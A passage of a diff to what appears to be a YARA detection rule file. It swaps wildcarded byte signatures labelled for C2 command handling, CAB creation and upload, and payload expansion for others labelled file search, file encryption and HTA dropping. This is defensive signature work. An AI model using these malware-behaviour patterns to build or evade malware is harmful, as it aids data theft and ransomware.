8B CC 44 89 78 ?? 44 89 78 - ?? 45 8B F7 44 89 78 ?? 41 8B EF E8 ?? ?? ?? ?? 4C 8D 8F ?? ?? ?? ?? 4C 8D 05 ?? ?? - ?? ?? BA ?? ?? ?? ?? 49 8B CC 48 89 5C 24 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8D 9F - ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 45 33 C9 45 33 C0 33 C9 41 8B - D5 44 89 7C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 89 44 24 ?? 48 85 C0 75 ?? 83 C8 ?? - 48 83 C4 ?? 41 5F 41 5E 41 5D 41 5C 5F 5D 5B C3 4C 89 7C 24 ?? 44 89 7C 24 ?? 41 B8 - ?? ?? ?? ?? 45 33 C9 48 8B D3 48 8B C8 C7 44 24 ?? ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? - ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 85 - C0 0F 84 ?? ?? ?? ?? 4C 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 45 - 33 C9 4D 8B C4 48 8B C8 4C 89 7C 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 7C 24 - ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 45 33 C9 45 33 C0 33 D2 48 8B C8 44 89 - 7C 24 ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 48 8B CB 85 C0 74 ?? 48 8D 94 24 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 45 33 C9 48 8B CB 45 33 C0 33 D2 FF 15 ?? ?? ?? - ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? - 41 8B C5 E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CB EB ?? FF C0 B9 ?? - ?? ?? ?? 8B D0 89 84 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 74 ?? 44 8B - } - $network_communication_p2 = { - 84 24 ?? ?? ?? ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 48 8D 0D ?? - ?? ?? ?? 45 8D 41 ?? BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 4C 8B E8 48 8B CB 48 83 F8 ?? 75 ?? 45 33 C9 45 33 C0 33 D2 FF 15 - ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? - ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 - 8B D4 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 1F 00 44 39 BC 24 - ?? ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 49 8B CC 41 8B EF E8 ?? ?? ?? ?? 48 85 C0 0F - 45 EF 3B EF 74 ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 8B D4 49 8B CD - 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 44 03 B4 24 ?? ?? ?? ?? 33 - D2 49 8B CC E8 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 8B D4 - 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 7C 24 ?? 49 8B CD FF 15 ?? - ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 33 D2 48 8B CB FF 15 ?? ?? ?? - ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? - 83 C8 ?? 45 85 F6 0F 44 E8 8B C5 48 8B B4 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F 41 5E 41 - 5D 41 5C 5F 5D 5B C3 - } - $handle_c2_commands_p1 = { - 48 89 5C 24 ?? 48 89 74 24 ?? 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 - 48 89 84 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 8D 54 24 ?? 33 FF 48 8B CE 89 7C 24 - ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? - ?? ?? 48 8B 08 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4B - ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 - 75 ?? 48 8B 4B ?? 8D 50 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 4C 24 ?? 33 D2 41 B8 - ?? ?? ?? ?? 66 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? - 48 8B 15 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 53 ?? 48 8D 0D ?? - ?? ?? ?? 45 33 C0 FF 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? - ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? E8 ?? - ?? ?? ?? 69 C0 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 - 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 69 C0 ?? ?? ?? ?? 89 - } - $handle_c2_commands_p2 = { - 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 63 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C CB ?? E8 - ?? ?? ?? ?? 48 8B CE 85 C0 75 ?? 8D 50 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 D2 E8 ?? - ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 0B E8 ?? ?? ?? ?? 48 63 4C 24 ?? - 48 8B 15 ?? ?? ?? ?? 48 8B 4C CB ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 63 4C - 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C CB ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 3B 48 83 - C9 ?? 33 C0 66 F2 AF 33 D2 48 F7 D1 48 8D 0C 4E E8 ?? ?? ?? ?? EB ?? 48 8B 3B 48 83 - C9 ?? 33 C0 66 F2 AF 8D 50 ?? 48 F7 D1 48 8D 0C 4E E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? - ?? 85 C0 75 ?? 8D 48 ?? EB ?? 33 C9 E8 ?? ?? ?? ?? 8B F8 48 8B CB FF 15 ?? ?? ?? ?? - 8B C7 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B - 5B ?? 49 8B 73 ?? 49 8B E3 5F C3 - } - $create_cab_file_and_upload_p1 = { - 48 89 5C 24 ?? 55 56 57 41 54 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 - 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 4C 8B 3D ?? ?? ?? ?? 33 DB 48 8B F1 - 48 8D 4D ?? 33 D2 41 B8 ?? ?? ?? ?? 44 8B E3 89 5C 24 ?? 89 5C 24 ?? 66 89 5D ?? E8 - ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 9D ?? ?? 00 00 E8 ?? - ?? ?? ?? 33 C0 48 8D 4C 24 ?? 66 89 5C 24 ?? 48 89 44 24 ?? 89 44 24 ?? 66 89 44 24 - ?? FF 15 ?? ?? ?? ?? 0F B7 54 24 ?? 0F B7 4C 24 ?? 44 0F B7 44 24 ?? 0F B7 44 24 ?? - 0F B7 7C 24 ?? 89 54 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 7C 24 ?? 44 89 44 24 ?? 4C 8D - 05 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 8D 4D ?? 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 55 ?? B9 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 4C 8D 4D ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? 45 33 C0 FF 15 ?? ?? ?? - ?? 48 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 53 ?? 48 8B CE E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? - ?? 48 8B C8 48 8B F8 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? - ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D - 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 - ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 + $find_files_p1 = { + 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 + F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F C9 C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? + ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? + FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? + 8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? + 8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF 57 57 + 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 + ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? + ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 + ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? + 3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D } - $create_cab_file_and_upload_p2 = { - 8D 4D ?? 48 8B D6 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 0B C0 E9 ?? ?? ?? ?? 48 8D 55 ?? 45 - 33 C0 48 8B CE FF 15 ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? 48 8D 4D ?? 45 8D 41 ?? BA - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 ?? 75 ?? 8B C3 EB ?? 33 D2 48 8B C8 - FF 15 ?? ?? ?? ?? 8B F0 85 C0 75 ?? 48 8B CF FF 15 ?? ?? ?? ?? 8B C3 EB ?? FF C6 B9 - ?? ?? ?? ?? 8B D6 44 8B EE FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 75 ?? 48 8B CF FF 15 - ?? ?? ?? ?? 8B C3 EB ?? 4D 8B C5 33 D2 48 8B C8 E8 ?? ?? ?? ?? 4C 8D 4C 24 ?? 44 8B - C6 49 8B D4 48 8B CF 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 8B - 44 24 ?? 89 44 24 ?? 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 48 8D 4D ?? 4C 89 B4 24 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 44 8B 6C 24 ?? B9 ?? ?? ?? ?? 41 83 C5 ?? 41 8B FD 41 8B - D5 48 89 7C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 44 8B C7 33 - D2 48 8B C8 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 33 - C0 48 83 C9 ?? 4C 8D 86 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 66 F2 AF 49 89 00 49 89 40 - ?? 48 F7 D1 49 89 40 ?? 49 89 40 ?? 48 FF C9 03 C9 74 ?? 8B D1 48 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? EB ?? 48 8B F3 49 89 B7 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 44 8B + $find_files_p2 = { + 56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? + ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? + ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B + D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D + ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? + 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? + 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? + ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 + C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 + ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 } - $create_cab_file_and_upload_p3 = { - 44 24 ?? 4D 8B CE 49 8B D4 48 8B CE 44 89 6C 24 ?? E8 ?? ?? ?? ?? 49 8B 8F ?? ?? ?? - ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 49 8B CC 49 89 9F ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 - 83 C9 ?? 33 C0 48 8D BD ?? ?? ?? ?? 66 F2 AF 48 F7 D1 41 8D 84 4D ?? ?? ?? ?? B9 ?? - ?? ?? ?? 8B D0 89 44 24 ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 0F 84 ?? ?? ?? ?? 44 - 8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 8B 54 24 ?? 4C 8D 8D ?? ?? ?? ?? 4C 8D 05 - ?? ?? ?? ?? 49 8B CD E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 49 8B D6 8B C8 4C 8B C7 89 44 24 - ?? 49 03 CD E8 ?? ?? ?? ?? 8B 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 03 CF 41 B8 ?? ?? ?? - ?? 49 03 CD E8 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 49 8D 8F ?? ?? ?? ?? E8 ?? ?? - ?? ?? 45 33 C9 45 33 C0 41 8D 51 ?? 33 C9 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 - 85 C0 0F 84 ?? ?? ?? ?? 48 89 5C 24 ?? 89 5C 24 ?? 49 8D 97 ?? ?? ?? ?? 41 B8 ?? ?? - ?? ?? 45 33 C9 48 8B C8 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 5C 24 - ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 0F 84 ?? ?? ?? ?? 49 8D 8F ?? ?? ?? ?? 33 D2 - 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4D 8D 8F ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 49 8D 8F - ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 7C 24 ?? E8 ?? ?? ?? ?? 48 89 5C 24 ?? C7 44 24 ?? - ?? ?? ?? ?? 4D 8D 87 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 45 33 C9 49 8B CC 48 89 5C 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 + $encrypt_files_p1 = { + 59 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 F1 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? + 51 E8 ?? ?? ?? ?? 59 B9 ?? ?? ?? ?? 89 D6 6A ?? 5A 56 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? + ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? FF 04 24 51 57 E8 ?? ?? ?? ?? 58 59 8D 8C + 24 ?? ?? ?? ?? 8D 54 24 ?? 57 E8 ?? ?? ?? ?? 58 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? + ?? ?? 8B 84 24 ?? ?? ?? ?? F2 0F 10 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? A1 ?? ?? + ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? 8B 00 83 F8 ?? 72 ?? 8D 84 24 ?? ?? ?? ?? C7 84 24 + ?? ?? ?? ?? ?? ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 31 C0 C7 44 24 ?? ?? ?? ?? ?? 40 89 + 84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 57 E8 + ?? ?? ?? ?? 59 89 D6 B9 ?? ?? ?? ?? 6A ?? 5A 56 50 E8 ?? ?? ?? ?? 59 5A 89 F9 89 C3 + E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? 6A ?? 59 8D 7C 24 ?? 8D B4 24 ?? ?? ?? ?? F3 + A5 6A ?? 59 8D BC 24 ?? ?? ?? ?? 8D 74 24 ?? 31 C0 F3 A5 E9 ?? ?? ?? ?? 8B 84 24 ?? + ?? ?? ?? 85 C0 74 ?? 8B 8C 24 ?? ?? ?? ?? 50 FF 11 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 8B + 70 ?? 8B 78 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 89 C1 89 F2 57 E8 ?? ?? ?? ?? + 58 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 69 } - $create_cab_file_and_upload_p4 = { - 8B 44 24 ?? 48 8D 15 ?? ?? ?? ?? 4D 8B CD 41 B8 ?? ?? ?? ?? 48 8B CF 89 44 24 ?? FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 45 33 C9 45 33 - C0 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 75 ?? 45 33 C9 45 33 C0 33 D2 48 8B CF FF 15 ?? - ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? - ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? FF C0 B9 ?? ?? ?? ?? 8B - D0 89 44 24 ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 75 ?? 45 33 C9 45 33 C0 33 D2 48 - 8B CF FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 48 8B - CE FF 15 ?? ?? ?? ?? 83 C8 ?? EB ?? 44 8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 44 - 8B 44 24 ?? 4C 8D 4C 24 ?? 49 8B D5 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 - ?? ?? ?? ?? 49 8B CD E8 ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? - 45 33 C9 45 33 C0 33 D2 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B - CC FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 8B C3 4C 8B B4 24 ?? ?? ?? ?? 4C 8B - AC 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? - ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5C 5F 5E 5D C3 + $encrypt_files_p2 = { + 7B ?? ?? ?? ?? ?? 89 C6 83 C6 ?? 85 FF 74 ?? 83 7E ?? ?? 74 ?? 8D 46 ?? 50 E8 ?? ?? + ?? ?? 58 81 C6 ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 74 ?? 83 3E ?? 74 ?? + 8D 4E ?? E8 ?? ?? ?? ?? EB ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 58 8B 06 F0 FF 08 75 ?? 56 + E8 ?? ?? ?? ?? EB ?? 53 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 58 59 8B 4C 24 ?? 85 C9 74 ?? + 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 + 6B 5B ?? ?? 89 C7 89 C6 83 C7 ?? 85 DB 74 ?? 8D 4E ?? E8 ?? ?? ?? ?? 83 7E ?? ?? 74 + ?? 57 E8 ?? ?? ?? ?? 58 83 3F ?? 74 ?? 8D 47 ?? EB ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 58 + 83 C6 ?? 83 C7 ?? 83 C3 ?? EB ?? 8D 84 24 ?? ?? ?? ?? 50 8D 5C 24 ?? 53 E8 ?? ?? ?? + ?? 58 59 8B 4C 24 ?? 85 C9 74 ?? 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 8D B4 24 + ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 6B 7E ?? ?? 89 C1 85 FF 74 ?? 8D 59 ?? 83 C1 ?? E8 + ?? ?? ?? ?? 89 D9 83 C7 ?? 8D 5C 24 ?? EB ?? 56 53 E8 ?? ?? ?? ?? 58 59 8B 4C 24 ?? + 85 C9 74 ?? 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 A1 ?? ?? ?? ?? 8B 00 83 F8 ?? + 72 ?? 89 E0 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 89 C6 89 D7 68 ?? ?? ?? ?? 8D 44 + 24 ?? 50 E8 ?? ?? ?? ?? 59 59 89 B4 24 ?? ?? ?? ?? 89 BC 24 ?? ?? ?? ?? 89 84 24 ?? + ?? ?? ?? 89 94 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 6A ?? 58 89 44 24 ?? 83 64 24 + ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 77 ?? 83 C7 ?? 8D 4E ?? E8 ?? + ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 66 ?? ?? 89 F9 E8 ?? ?? ?? ?? 8D 65 ?? 5E 5F 5B 5D + C3 } - $cmd_expand_payload_p1 = { - 40 53 55 41 55 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? - ?? ?? 48 8B E9 48 8D 8C 24 ?? ?? ?? ?? 45 33 ED 33 D2 41 B8 ?? ?? ?? ?? 66 44 89 AC - 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 44 - 89 AC 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 45 8D 45 ?? 48 8D 4C 24 ?? 33 D2 44 89 6C 24 ?? - E8 ?? ?? ?? ?? 33 C0 4C 89 6C 24 ?? 45 8D 45 ?? 45 33 C9 BA ?? ?? ?? ?? 48 8B CD C7 - 44 24 ?? ?? ?? ?? ?? 4C 89 6C 24 ?? 48 89 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 0B C0 E9 ?? ?? ?? ?? 45 33 C9 33 - D2 48 8B C8 45 8D 41 ?? 4C 89 6C 24 ?? 48 89 BC 24 ?? ?? ?? ?? 44 89 6C 24 ?? FF 15 - ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? - ?? 45 33 C9 45 33 C0 48 8B C8 41 8D 51 ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 6C 24 ?? FF - 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? - ?? ?? 4C 8D 40 ?? 48 8D 84 24 ?? ?? ?? ?? 41 83 C9 ?? 33 D2 33 C9 C7 44 24 ?? ?? ?? - ?? ?? 48 89 44 24 ?? 4C 89 A4 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? - 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 + $drop_hta_file_p1 = { + 6A ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? 